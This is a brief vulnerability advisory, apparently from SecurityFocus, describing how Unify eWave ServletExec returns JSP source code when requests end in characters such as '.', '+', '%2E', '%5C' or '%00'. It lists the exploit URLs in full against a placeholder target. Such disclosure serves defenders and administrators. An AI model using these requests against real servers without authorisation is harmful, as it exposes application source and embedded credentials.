source : http://www.securityfocus.com/bid/1970/info

Unify eWave ServletExec is a Java/Java Servlet engine plug-in for major web servers such as Microsoft IIS, Apache, Netscape Enterprise Server, etc. 

ServletExec will return the source code of JSP files when a HTTP request is appended with one of the following characters:

.
%2E
+
%2B
%5C
%20
%00

For example, the following URL will yield the source of the specified JSP file:

http://target/directory/jsp/file.jsp.

Successful exploitation could lead to the disclosure of sensitive information contained within JSP pages.

Any of the following URL requests will yield the source of the specified JSP file:

http://target/directory/jsp/file.jsp. 
http://target/directory/jsp/file.jsp%2E
http://target/directory/jsp/file.jsp+ 
http://target/directory/jsp/file.jsp%2B
http://target/directory/jsp/file.jsp\ 
http://target/directory/jsp/file.jsp%5C
http://target/directory/jsp/file.jsp%20 
http://target/directory/jsp/file.jsp%00